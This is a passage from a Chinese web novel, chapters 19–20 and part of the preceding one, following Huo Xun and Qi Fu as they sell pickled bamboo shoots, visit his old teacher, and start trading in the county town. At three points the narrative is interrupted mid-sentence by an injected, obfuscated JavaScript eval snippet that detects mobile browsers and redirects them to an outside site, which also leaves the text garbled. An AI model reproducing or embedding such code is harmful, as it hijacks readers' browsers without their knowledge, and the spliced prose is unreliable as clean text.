摊子一摆好,霍洵就开始吆喝:“都来看,都来瞧!酸辣鲜香的凉拌水竹笋免费试吃!佐粥、拌面、下酒都好吃!不好吃不用买!” 他嗓音清朗,带着几分磁性,十分好听,不一会儿就引了好些人过来。 凉拌水竹笋做起来简单,寻常人家鲜少在外头买,不过同样一道菜,厨艺好的人做出来的就是不一样。 霍苓这道凉拌水竹笋,笋肉白嫩如玉,裹着一层薄薄的、金黄透亮的油脂,翠绿的葱花、鲜红的辣椒末点缀其中,只瞧上一眼,便让人口舌生津,仿佛感受到了脆嫩的笋子被牙齿咬开,酸辣咸香的滋味在舌尖蔓延开来的滋味。 瞧着便诱人。 试吃又不要钱,不吃白不吃。 不少人抱着这样的心思,接过祁福手里的竹签试了一下。 这一试,原本没当回事儿的人也不由得眼睛一亮。 入口脆嫩清爽,丝毫不涩口。料汁很入味,笋子的鲜、米醋的酸、辣椒的辣,融合得刚刚好,一口下去鲜香绕舌,让人胃口大开。 有个婶子吃完意犹未尽地看着祁福手里的竹筒。 还没吃着的人在她边上问:“怎么样,滋味如何?” 婶子咂了咂舌头:“是不错。” 好吃是好吃,就是不知贵不贵?她犹豫了一下,问祁福:“小兄弟,你们这凉拌笋子怎么卖?” 祁福:“六文一份,一份是这么多,能装一盘。”他说着提起一份用荷叶包好的凉拌笋子给客人看。 一斤十二文听着有些贵,一份六文听着就便宜多了。 婶子爽快道:“给我装一份!” 第一份凉拌笋子就这样卖出去了,祁福脸上露出个笑,迅速给那位婶子装了一份,用棕叶捆好:“您拿好。” 一听东西好吃,试吃的人更热络了,有人试吃了一根还想吃第二根,不用霍洵和祁福开口拒绝,便被后头等着的人斥了几句。 “拢共就这么点,你都试完了我们还吃什么?” “是啊,要吃花钱买嘛,瞧人大姐多爽利!” 一会儿功夫,凉拌笋子便卖出了十来份。 也有人嫌贵,霍洵从善如流地推荐生笋子:“自个儿买生的回去做实惠,我们这儿有剥好的,买回去都不用剥了。喜欢这味道的话,我教您怎么做……” 他厨艺不如何好,但菜谱记得挺熟,十分顺溜地将霍苓做凉拌笋子的步骤和佐料背了出来。 围观的客人一脸惊奇:“我们家也是这么做的呀,怎么就做不出你这味道?” 霍洵但笑不语。 凉拌笋子这菜,大家的做法大差不差,主要还是看个人手艺。有的人舍不得放佐料,有的人下手没轻重,有的人喜欢自由发挥,加点不该出现的东西……,同样的菜谱,最后做出来的味道能天差地别。 像他,末世时将菜谱背得滚瓜烂熟,但做出来也没几样味道好的。可见做菜这事,不光靠菜谱。 如此,又卖了些生笋子出去。 * 早晨买菜的那波人潮过去,买早食的人又来了,凉拌笋子卖得更快了,连带着边上卖包子馒头的摊子、后面卖汤面的铺子,生意都好了些。 毕竟凉拌笋子是菜,得搭配主食。 汤面铺那位老婆婆过来买了两斤笋子,霍洵瞧见她带回铺子里,用碟子分装了做小菜卖,也卖得不错。 这回不光给霍洵的牛送了水,还送了些焉巴了的菜叶子。 一个上午过去,凉拌笋子除了霍洵特意留出来的一包,其余都卖完了。生的水竹笋还剩十来斤,剥了的两斤,没剥的七八斤。 虽然笋子没卖完,但霍洵不准备再等了,今日他还要去拜访原主的夫子。 上午趁摊子上没客人的时候,霍洵将去夫子家要用的肉和点心,做凉拌笋子和泡椒笋子要用的各式调料,还有酒、白糖,都买齐了。 等会儿早去早回,还能帮家里干些农活。 霍洵和祁福收拾好摊子上的东西,搬上牛车,动身去原主夫子家。 原主的夫子姓‘岑’,是他爷爷的学生,虽只是个童生,但也开了间私塾。 岑夫子念着原主爷爷的恩情,待原主很好,原主的亲事能定下来,也多亏他帮着说好话。虽然这桩姻缘让人一言难尽,但他是一片好心。 霍洵要停学,合该携礼上门拜访,与他交待一声。 先前杂事缠身,霍洵不得空,再加上家里窘迫,拿不出银子买像样的礼物,一直拖着没去。如今事情差不多理顺了,手上也宽裕了些,再拖着就说不过去了。 岑夫子家离菜市不多远,这回霍洵没有沿路卖笋子。 今日的凉拌笋子又给他添了一重信心,他相信,只要不出意外,明日去县里卖生意只会更好。 * 牛车走了一刻多钟便到了岑家。 霍洵跳下牛车去敲门,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521544|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门的是原主的师娘。 师娘也是看着原主长大的,见霍洵过来眼里露出一丝喜意:“可算回来了,你老师昨日还念叨了几句,说你昨日陪娘子回门,今日该回学堂了!” 话落,她瞧见霍洵身后的祁福:“这位是?” “师娘,这是我娘子。”霍洵摸了摸鼻子,又道,“今日带他过来拜访您和老师,还有些事情需得同老师交待。” 师娘面上一怔:“好,快进来,我去叫你老师。” 霍洵把牛牵进岑家的院子拴好,和祁福一起将买的酒、肉、点心,还有两斤剥好的水竹笋,一包凉拌笋子从竹筐里拿出来,在岑家堂屋门口等着。 岑夫子在给学生上课,听说霍洵带着他娘子过来拜访十分高兴,出了门远远瞥见两个男子站在堂屋门口却愣住了。 他眯了眯眼睛:“不是说与他娘子一起来的吗,怎么瞧着是个男子?” 师娘表情复杂:“我方才也纳闷呢,没好意思问,你去问问。” 夫妻俩走到霍洵和祁福面前,岑夫子的目光扫过两人手上的东西:“怎么还带了这么多东西?” “孝敬老师和师娘的。” 霍洵把东西递上,师娘知道他家的情况,非让他拿回去。双方又推让了好一会儿,师娘才收下。 * 进了堂屋,霍洵向岑夫子介绍祁福:“这是我娘子,多亏老师帮忙,我们二人才得以成亲,今日特意带他来同老师道谢。因这几日他一直在陪我做买卖,穿女子的衣裳不大方便,所以这番打扮。” 祁福也拱手向岑夫子行礼。 “好,好,快坐!”徒弟娘子没换人,岑夫子先是松了口气,接着又皱了皱眉,“做买卖?” 霍洵颔首,顺势将自己要停学的事儿与他说了,最后道:“这些年老师苦心栽培,学生感念于心。只是兄长卧病在床,学生理应回去担起责任。辜负师恩,实乃万不得已,还望老师谅解。” 岑夫子眉头紧皱,面色几度变化,最后长叹一声:“你为了给兄长筹钱治病辍学,情义可嘉,为师怎会怪你?罢了,你还年轻,先料理好家事,过几年再重新回来念书也来得及。只记着,你做买卖可以,但不能卖掉家中田地,不然成了商户,就没有回头路了……” 岑夫子放心不下,百般叮咛。不过他还有学生等着,师生二人又说了一会儿话,霍洵便主动告辞了。 出门时师娘追上来,往祁福手里塞了几个油纸包:“这三包是滋补的药材,拿回去给你大哥补身子。这包是麻饼,你俩不肯留下吃饭,拿着路上垫垫肚子。还有一包,是你老师不用的墨锭和毛笔,有些旧了,你将就着用。” 又叮嘱霍洵:“得了空就来,暂时不科考了,学问也不可完全撒手,有什么不懂的就来问你老师。” 霍洵心里有些触动,对着师娘深深一揖:“多谢师娘。” 19. 第 19 章 回到家也才午时末,郭秀英还在房里休息,霍苓在堂屋里裁布,霍秋坐在一旁,手里举着块绿豆糕一脸珍惜地吃。 祁家给的那两匹布霍洵交给郭秀英和霍苓了,托她两给祁福做两身男子穿的短打,给她们自己一人做一身衣裳。 郭秀英和霍苓不肯收,只肯帮祁福做,霍洵和祁福又劝了一番,她两才不好意思地应下。 祁有珍给的两包点心都是拆开过的,拿去送人不合适,霍洵就说留在家里给霍秋做零嘴,他们啥时候饿了也能垫一下。 听到牛车进来的动静,霍秋点心都顾不上吃了,从椅子上跳起来跑到院子里:“二叔,婶婶,笋子卖完了吗?” 霍苓也停下手上的动作,起身走到堂屋门口。 “凉拌笋子卖完了,生的水竹笋剩了几斤。不妨事,明日带去县里卖。” 霍洵说着话将板车上的竹筐搬了下来。 霍秋看见竹筐里有肉,还有好些东西,笋子只剩了几捆,她激动地欢呼一声:“太好啦!” 听到动静的郭秀英也从屋里出来看他俩今日的战果。 * 今日水竹笋只带了五十斤,还没卖完,但加上凉拌笋子,也卖了两百二十六文。 凉拌笋子价高,虽只有十斤,但卖了一百一十四文,比生笋还多两文。 家里人喜笑颜开,这回不光是霍洵和祁福,霍苓也被狠狠地夸奖了一番。 霍苓性子内敛,这两年她爹娘去世,兄长重病,自己又被邱家盯上,一想到自己和霍家的未来便忧虑重重。 今日靠自己的本事给家里挣了钱,她心潮澎湃,欢喜得无以言表。 上午她们又去拔水竹笋了,下了雨笋子长得快,霍苓还找到了一个新的笋窝,玉泉山和自家后山加起来拔了约莫一百五十斤水竹笋。 后山的毛竹笋也有一批新的长大了,这时节的毛竹笋卖不上价,正好给她做泡椒笋子。 听说泡椒笋子很好吃,定也能挣钱。 霍苓看着霍洵,心里满是感激。 多亏她二哥,往后她也可以为大哥治病出一份力了。 * 数钱的事儿留在晚上,回来后休息了一会儿,吃了两块麻饼垫肚子,霍洵便提上锄头下地去了。 祁福和霍秋也出去放牛,顺便割些草回来,霍苓则开始做泡椒竹笋。 泡椒水竹笋做好了还得放上几日才好吃,所以得尽快做好。 霍洵写了方子,霍苓识字,照着做就行。 厨艺上,霍洵确实缺了点天分,只会纸上谈兵,末世时上手试了几回,做出来都不是那个味儿,留在家里也帮不上忙。 霍苓将她二哥写的方子放在一旁,一步一步老老实实地跟着做。 切好的毛竹笋加一点盐焯水,焯好后捞出来晾凉,放进干净的坛子里,倒入自家泡的酸辣椒水,再加上酸辣椒、蒜头,和白糖、盐、醋之类的佐料,最后倒入晾凉的开水和少量的烧酒,就可以封坛了。 将笋子泡好,霍苓又回堂屋里继续做衣裳。 没一会儿,去桂婶家里还香油的郭秀英回来了。 * 今日霍洵特意早些回来去干地里的活儿,让郭秀英在家休息。 他想着往后要去临山县做买卖,早出晚归,帮家里干活儿的时间就少了。趁着得闲,他能多干点就多干点,不然郭秀英和霍苓两个女子,还是太吃力了。 郭秀英心里十分受用,不过心疼小叔子早早地起来,又在镇上忙活了一上午,本是不同意的,听霍洵说他下地也是顺便锻炼身子才点头应允。 进屋后,瞧见霍苓将上衣的布料推到一边,准备裁裤子,郭秀英拿了针线笸箩来帮忙。 “你裁好了我来缝,”她说着话动作娴熟地穿针引线,“我瞧你二嫂只有一双布鞋,没有换洗的,待会等她回来了,再给她画个鞋样子,找件旧衣裳给她做两双新布鞋。” 霍苓点了点头:“好。家里的袼褙用完了,既要重新打,不如给二哥也做一双。他要去县城做买卖,得穿好些。” 郭秀英大手一挥:“咱们也做,一人做一双,省得你二嫂不好意思!” 话落,她想到了什么,往旁边屋里瞧了一眼,压着嗓子道:“你大哥就不做了,他用不着,别糟蹋咱两的力气!” 霍苓瞧见她偷偷摸摸的模样,先是跟着笑,笑完心里又有些触动。 她大嫂性子爽朗,原先极爱说笑,可自打大哥被蛇咬伤,腿不能动后,脸上的笑是越来越少了。 拿大哥的腿打趣,更是不可能。 这是扎在他们家所有人心里的一根刺,稍一触碰,便是尖锐的刺痛,谁也无法轻松地提起。 如今二哥回来和她们一起撑起了这个家,大哥治病的事也有了眉目,大嫂心里的阴霾似乎散开了一点。 真好。 * 祁福和霍秋赶着牛回来,听郭秀英和霍苓说要给他做布鞋,果然有些不好意思。 他浑身上下,只有脚上那双鞋是新的。 祁福不会缝鞋子衣裳,只会编草鞋,原先在祁家穿的不是自己编的草鞋就是祁旺的旧布鞋。 因是临到大婚前几日才决定让他替嫁,祁双的鞋他又穿不了,葛小芹不得不去外头给他买了一双新的布鞋。 没想到郭秀英和霍苓还惦记他没有替换的鞋子,要给他做新的。 祁福把自己的鞋脱下来,一脸乖巧地坐在凳子上,让郭秀英给他画鞋样。 他正默默感动呢,郭秀英却乐了。 “嚯!我还说我的脚大呢,没想到弟妹的脚比我更大,莫不是他们霍家男儿专挑着大脚姑娘娶呢!” 霍苓扑哧一下笑出声来。 祁福耳根泛红,抬头看天,郭秀英以为他难为情:“脚大走四方,力气也大,能娶着咱两是他们兄弟的福气!” 霍苓笑着解围:“二嫂,你和二哥的喜服要不要拿来让我们改?喜服的样式和颜色平日里穿有些惹眼,但改改样式,做成里衣或半袖、裤子都不错呢。” * 将近夕食时分,霍洵扛着锄头从田里回去,路过村口时,想起轮椅之事,拐进了聂家。 聂三田有间专门做木工的屋子,霍洵被他侄子带进去时,地上全是木屑,聂三田在屋里抡着刨子,忙得热火朝天。 看到霍洵,聂三田丝毫没有意外,他承诺五日之内将轮椅的木制部件做出来,如今已过去两日,霍洵来瞧瞧进程十分正常。 “我将你画的图纸细化了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521545|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算好了尺寸,做了一个大轮和一个手轮出来,你瞧瞧?” 聂三田将刨子放下,拿起脖子上挂着的汗巾擦了下汗,脸上神采奕奕。 霍洵顺着他指的方向瞧去,果然有两个做好的木轮摆在那里。 他走过去拿起来瞧了瞧,与他画的图纸一模一样。 聂三田用的是榉木,材质坚固,承重性好,就是略重了些,但也是权衡之下的选择。 霍洵用手掰了掰,又在地上滚了滚,轮子的零件纹丝不动,看来还是挺结实的。这是榫卯结构,等用铁加固后,还会更加结实。 先做四个轮子,是霍洵和聂三田商量好的,轮椅最核心也最容易磨损的地方就是轮子,尤其是两个大轮,是最需要用铁加固的部件。 “挺好,聂三哥你接着做吧。明日我去临山县找铁匠,等你把另一个大轮做完,我把轮子送去铁匠铺加固。” 见霍洵神色满意,聂三田松了口气:“好,我明日就将另一个大轮也做出来。” * 霍洵回到家时,家里的晚饭已经做好在锅里温着了,只等他回来便能开饭。 今日伙食格外丰盛,炖了肉,还炒了鸡蛋,主食也从粥换成了饭。霍秋等得口水都快流出来了,霍洵再不回来,她就该去田里喊了。 家里人手上的活儿都不少,这会儿都饿了,几个菜吃得干干净净。 吃完晚饭,天色尚早,大家都没闲着。 郭秀英给霍泽擦洗身子、换被褥,霍苓带着祁福将明日要卖的凉拌笋子做出来,又一起熬了浆糊打袼褙……,霍洵一个人去后山砍柴。 一家人忙活到太阳彻底落山,才各自回屋歇息。 晚上,霍洵和祁福在屋里,借着月光数铜板。 和白日里算的一样,一共二百二十六文。 霍洵数出二十个铜板,推到祁福面前:“这二十文算是预支的工钱,你先拿着花,若是不够再问我要。” 昨日从祁家回来的路上,霍洵和祁福商量要给他多少工钱。镇上一个长工一月的工钱约莫是五、六钱,霍洵给祁福定的是七钱。 其实在他看来,祁福在霍家干的这些活,便是一月给二两的工钱也不多。只是霍家还在给霍泽攒钱治病,他的生意也未走上正轨,不是打肿脸充胖子的时候,只能先定低点儿,后头情况好了再给祁福涨。 没想到就这七百文,祁福还瞪圆了眼睛,不肯答应。 祁家的长工一月也就六钱,什么都要干,还吃不饱。祁福自觉没那位婶子能干,而且他在霍家和人家在祁家的待遇相比,可以说是一个天上,一个地下。 霍家有什么好东西都念着他,他先前还帮着祁家骗了霍家,怎么好意思拿这么高的工钱? 后来霍洵说先这样定,倘若一个月后,买卖做得不如人意,再给他降低些。 祁福这才答应。 当时不肯要,这会儿拿到手里,却满心欢喜,舍不得放下。 祁有德和葛小芹看得严,再加上祁旺时不时的搜刮,祁福从祁家‘嫁’到霍家时,身上只有三个铜板。 往后不一样了,他自己能挣钱了! 即便一个月只有五钱银子,一年下来,也能攒六两呢。攒上几年,就能自己买一间小屋子了! 20. 第 20 章 翌日凌晨,家里的公鸡才叫了一声,霍洵便被祁福推醒了。 “该起来准备去临山县了。”祁福眨巴着眼睛,轻声道。 霍洵一边哀叹挣钱不易,一边感慨自己新收的小弟可靠。 乡下没有更夫打更,早起全靠鸡鸣,有时睡得沉了,便容易错过时辰。但只要交待一声,祁福便能准时叫他起来。 两人忍着困倦起床洗漱,将霍苓昨日提前摊好的糖饼和煮鸡蛋热了一下,准备带着路上吃。 天还黑着,村里静悄悄的,出村这一路都没遇见人。 祁福不住地打呵欠,霍洵瞥了他一眼:“你把东西挪挪,躺下来睡一会儿。” “好。”祁福想了想,乖巧的应声,“等我学会赶牛车了,就换你睡。” 霍洵颔首,这倒也是个法子。 每日起来太早时间久了身子受不住,若是能在牛车上睡一会儿,人能舒服点儿。 祁福昨日已经在学着赶牛车了,只是还不熟练,再练上几日就好。 * 从村里出来,有很长一截路沿路都是村里的田地,霍家的水田就有八亩在这儿。过了这一块,再往前是一段荒凉的山路,需得提防山林里的野兽出来伤人。 不过,最危险的不是这截路,而是从流云镇到临山县要经过的羊头山。 羊头山藏着一群山匪,已经好些年了。原先十分嚣张,没少打劫过路人。 曾有县官请驻军一起过去清剿,可惜羊头山太大,还有瘴气,这群匪徒在山上盘踞多年,对山里的情况了然于胸,官府的人去了几回都铩羽而归。 如今这位姓‘方’的县令上任后,让军士装成过路的商队引山匪出来,试图抓几个人给他们带路,一举将这窝匪徒端了。 计划得好好的,前头也十分顺利,山贼都现身了,但最后关头走漏了消息,还是让这伙贼人跑了。 去岁,方县令又组织人手抓捕了两回,依然未能得手,好在将这群匪徒在山上的老窝捣毁了。 山匪们元气大伤,自此再没在山下露过面。 不过百姓们仍是绕着羊头山走,就怕这群贼人又出来。 霍洵虽有武艺傍身,但也不敢掉以轻心,今日特意带了一把柴刀,还给祁福拿了一把镰刀。 * 牛车晃晃悠悠,走了一个时辰后,夜色褪尽,一轮红日缓缓升起。 橘黄色的晨曦洒在祁福脸上,他慢慢睁开了眼睛:“快要进羊头山了?” “是,”霍洵头也没回,“将早食拿出来吃了。” 起得太早没胃口,早上出门时,霍洵让祁福将早食放牛车上了。 “好。” 祁福应了一声,将糖饼和鸡蛋递给他,霍洵接过来一摸,有些惊讶:“竟还热着?” 祁福语气认真:“我放在自己衣裳里暖着的。” 霍洵翘起嘴角,再次感概这个小弟收得好。 吃完早食,霍洵擦了擦嘴,打起精神来。他眼观六路,耳听八方,还叮嘱祁福将镰刀拿起来。 祁福抱着镰刀,背对着霍洵坐在牛车上。他肃着脸蛋,两只眼睛郑重其事地观察着周边的动静,像一只警惕的兔子。 半个时辰后,他们安然无恙地穿过了羊头山。 接下来的路就好走了,路面平坦,有和他们一样去县里卖东西的人挑着担子,从四方八方汇集而来。 约莫辰时初,两人到了临山县的城门外。 进城每人得交两文钱,还得让城门口的官兵查验车上的货物。 趁着排队,霍洵又给边上的农户送了点试吃用的凉拌笋子,打听情况。临山县的街市情况祁福知道一些,但他在祁家时出门不多,知道得不如这些经常过来摆摊的农户清楚。 无论是生笋还是凉拌笋子都是菜,还是去菜市卖最合适。临山县有五六处菜市,几个农户吃了霍洵的东西十分热情,将几个菜市依次给他介绍了一番。 最后,霍洵选了县学旁边的一处。 那附近不仅有县学,还聚集了几个私塾,这年头无论是念书的还是教书的,家里都比寻常百姓殷实,也舍得花钱买吃食。 这个菜市收的市金还算公道,离城门的距离也比较近。而且,霍洵记得,邱仲晖所在的私塾也在附近。 * 在城门口耗费了约莫一刻钟才进城,进城后,霍洵跟着同路的农户走,又走了一刻钟才到他们要去的那个菜市。 菜市里头是一排排的草棚,棚子下面划了线,分割成一个一个的小摊位,上面还挂了编号。 编号自然不是阿拉伯数字,但也不是正经文字,而是民间约定俗成的一种简单计数的图案,被称为‘码子’。 菜市里有官府的人巡查,摆摊需得找看管此处的小吏领一个木牌,木牌上刻着的码子和摊子上方挂着的一致,巡查时才能通过效验。 这里的摊位,一日是二十文市金,按先来后到的方式挑选。若是按月算,则只要四百五十文,还能选一个固定的摊位。 听起来按月租赁要划算许多,但霍洵为保险起见,还是决定先试上两三日,再决定要不要赁一个月。 他们到的时候菜市已经有一些买菜的人了,霍洵和祁福交了市金,迅速拿着木牌找到他们的摊位,将摊子支起来。 所有东西都摆好后,霍洵喝了口水,驾轻就熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521546|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地吆喝:“卖笋子喽,酸辣鲜香的凉拌笋子免费试吃!佐粥、拌面、下酒都好吃!不好吃不用买!还有新鲜的水竹笋、毛竹笋,任您挑选……” 找摊位时发现这个菜市也不止他们一家卖笋子,有两家比他们先来,占了先机,位置比他们好,已经开张了。 人有从众心理,越是生意好的摊子越容易招揽客人,祁福瞧见几个刚进菜市的人没听见霍洵的吆喝,直接往离得近的那个竹笋摊子去了,顿时有了危机感。 他攥着拳头给自己鼓了鼓劲儿,颤颤巍巍地开口,也学着霍洵叫卖:“卖笋子喽,好吃的凉拌笋子免费试吃!” 因为太过紧张,初时险些破音,后头才逐渐自然。 霍洵眼里闪过一丝笑意,夸道:“不错,像模像样的。” * 很快,他两招来了第一位客人,是个面相精明的老爷子。 老爷子本是要买生笋的,瞧见桌上的凉拌笋子,顿时被吸引了目光。 祁福注意到,立刻端起试吃的凉拌笋子,用竹签插了一根给他:“可以试吃,不要钱的,您要试一下吗?” 他声音有些小,但那位老爷子听懂了。 他接过祁福递过来的竹签,将笋子送到嘴里嚼了嚼:“多少钱一斤?”面上不动声色。 祁福虽然拿不准他是否满意,但还是按着和霍洵商量好的价钱说:“八文一份,一份是半斤,够装一盘呢,您瞧瞧。” 他提起包好的那份凉拌笋子,准备给那老爷子看。 没想到老爷子冷哼一声,语气轻蔑地开口:“味道也不怎么样,还卖这么贵?” 此话一出,还在一旁观望的几个客人顿时面露退意。 昨日在镇上卖凉拌笋子十分顺利,试吃过的人就没有说不好的,未曾想到了临山县,还没开张就遇到个‘硬茬’,祁福本就胆小,这下立刻慌了神。 “不难吃的,也不贵,别人都说好吃……” 他着急地解释,那老头却不等他说完,便扯着嗓子斥道:“别人是谁?我瞧你们是王婆卖瓜,自卖自夸!一斤笋子卖十六文,都快能买半斤肉了,你这笋子是金子做的不成?!” 话落,他撇了撇嘴,看向周围瞧热闹的人:“这两个卖竹笋的拿大伙儿当猪宰呢,大家可别上了他们的当!!” 祁福吓了一跳,下意识看向霍洵。 霍洵原是想锻炼一下他,没想到会有人故意找茬。见祁福眼里噙着泪看向自己,他心里一股怒火翻涌而出。 霍洵上前一步,挡在祁福前面,他看那老爷子,眉眼间有戾气一闪而过:“老人家长得有些面熟,敢问与八号摊子那位摊主是何关系?”